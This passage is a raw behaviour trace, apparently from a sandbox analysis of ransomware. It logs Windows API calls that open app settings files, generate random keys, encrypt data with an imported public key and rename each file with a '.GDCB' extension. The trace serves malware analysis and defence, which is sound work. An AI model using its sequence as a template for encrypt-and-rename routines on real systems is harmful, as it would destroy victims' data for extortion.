(lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7af0000 [0225.464] ReadFile (in: hFile=0x50c, lpBuffer=0x7af0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7af0000*, lpNumberOfBytesRead=0x285d8f8*=0x2000, lpOverlapped=0x0) returned 1 [0225.473] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7c00000 [0225.477] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 0 [0225.524] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0225.526] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0225.527] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0225.528] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0225.528] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0225.528] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0225.529] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0225.530] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0225.541] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0225.541] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0225.541] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0225.543] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x64874c0) returned 1 [0225.544] CryptGetKeyParam (in: hKey=0x64874c0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0225.544] CryptEncrypt (in: hKey=0x64874c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ac0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7ac0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0225.544] GetLastError () returned 0x0 [0225.544] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0225.544] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0225.546] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6487c80) returned 1 [0225.546] CryptGetKeyParam (in: hKey=0x6487c80, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0225.546] CryptEncrypt (in: hKey=0x6487c80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ad0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7ad0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0225.546] GetLastError () returned 0x0 [0225.546] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0225.546] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.net.native.framework.1.0_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0225.547] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7ae0000 [0225.550] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7af0000 [0225.551] ReadFile (in: hFile=0x50c, lpBuffer=0x7af0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7af0000*, lpNumberOfBytesRead=0x285d8f8*=0x2000, lpOverlapped=0x0) returned 1 [0225.570] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7c00000 [0225.575] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.net.native.framework.1.0_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.net.native.framework.1.0_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0225.620] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0225.622] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0225.623] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0225.623] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0225.623] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0225.624] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0225.625] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0225.626] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0225.626] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0225.626] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0225.627] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0225.629] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6487ac0) returned 1 [0225.629] CryptGetKeyParam (in: hKey=0x6487ac0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0225.629] CryptEncrypt (in: hKey=0x6487ac0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ac0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7ac0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0225.629] GetLastError () returned 0x0 [0225.629] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0225.629] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0225.631] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6487a80) returned 1 [0225.631] CryptGetKeyParam (in: hKey=0x6487a80, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0225.631] CryptEncrypt (in: hKey=0x6487a80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ad0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7ad0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0225.631] GetLastError () returned 0x0 [0225.631] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0225.631] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.net.native.runtime.1.0_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0225.633] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7ae0000 [0225.634] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7af0000 [0225.636] ReadFile (in: hFile=0x50c, lpBuffer=0x7af0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7af0000*, lpNumberOfBytesRead=0x285d8f8*=0x2000, lpOverlapped=0x0) returned 1 [0225.705] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7c00000 [0225.710] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.net.native.runtime.1.0_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.net.native.runtime.1.0_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0225.749] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0225.751] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0225.753] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0225.753] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0225.753] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0225.753] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0225.754] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0225.755] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0225.755] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0225.755] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0225.756] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0225.758] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6487b00) returned 1 [0225.758] CryptGetKeyParam (in: hKey=0x6487b00, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0225.758] CryptEncrypt (in: hKey=0x6487b00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ac0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7ac0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0225.758] GetLastError () returned 0x0 [0225.758] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0225.758] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0225.760] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x64879c0) returned 1 [0225.760] CryptGetKeyParam (in: hKey=0x64879c0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0225.760] CryptEncrypt (in: hKey=0x64879c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ad0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7ad0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0225.760] GetLastError () returned 0x0 [0225.760] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0225.760] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0225.762] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7ae0000 [0225.764] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7af0000 [0225.765] ReadFile (in: hFile=0x50c, lpBuffer=0x7af0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7af0000*, lpNumberOfBytesRead=0x285d8f8*=0x2210, lpOverlapped=0x0) returned 1 [0225.772] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0x7c00000 [0225.777] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0225.861] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0225.863] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0225.864] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0225.864] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0225.864] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0225.864] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0225.866] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0225.867] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0225.867] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0225.867] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0225.867] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0225.869] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6487a00) returned 1 [0225.869] CryptGetKeyParam (in: hKey=0x6487a00, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0225.869] CryptEncrypt (in: hKey=0x6487a00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ac0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7ac0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0225.869] GetLastError () returned 0x0 [0225.870] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0225.870] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0225.871] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6487cc0) returned 1 [0225.871] CryptGetKeyParam (in: hKey=0x6487cc0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0225.871] CryptEncrypt (in: hKey=0x6487cc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ad0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7ad0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0225.872] GetLastError () returned 0x0 [0225.872] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0225.872] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0225.873] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7ae0000 [0225.875] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7af0000 [0225.876] ReadFile (in: hFile=0x50c, lpBuffer=0x7af0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7af0000*, lpNumberOfBytesRead=0x285d8f8*=0x2210, lpOverlapped=0x0) returned 1 [0225.883] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0x7c00000 [0225.888] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0226.067] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0226.069] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.070] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.070] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0226.070] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.070] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0226.072] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.073] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.073] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0226.073] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.073] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0226.075] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6488000) returned 1 [0226.075] CryptGetKeyParam (in: hKey=0x6488000, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0226.075] CryptEncrypt (in: hKey=0x6488000, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ac0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7ac0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0226.075] GetLastError () returned 0x0 [0226.075] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.075] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0226.077] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6488040) returned 1 [0226.077] CryptGetKeyParam (in: hKey=0x6488040, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0226.077] CryptEncrypt (in: hKey=0x6488040, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ad0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7ad0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0226.078] GetLastError () returned 0x0 [0226.078] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0226.078] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0226.079] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7ae0000 [0226.081] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7af0000 [0226.082] ReadFile (in: hFile=0x50c, lpBuffer=0x7af0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7af0000*, lpNumberOfBytesRead=0x285d8f8*=0x2000, lpOverlapped=0x0) returned 1 [0226.131] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7c00000 [0226.136] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application 